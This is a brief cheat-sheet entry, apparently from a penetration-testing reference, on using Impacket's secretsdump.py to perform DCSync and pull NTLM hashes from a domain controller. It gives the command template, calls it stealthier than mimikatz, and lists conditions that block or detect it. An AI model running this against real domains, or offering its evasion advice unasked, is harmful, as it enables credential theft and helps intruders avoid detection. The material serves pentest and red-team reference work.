Impacket secretsdump (DCSync)

secretsdump.py <domain>/<user>:'<pass>'@<dc-ip> -just-dc

Obtains NTLM hashes from the domain controller using DCSync from Linux.

When you have domain admin credentials and want to extract hashes without using mimikatz. It is stealthier than running mimikatz on the DC because it runs from a Linux host and leaves no suspicious processes on the target.

If the DC has replication restriction policies or mandatory SMB signing. Also if the DC's EDR detects authentications from unexpected IPs.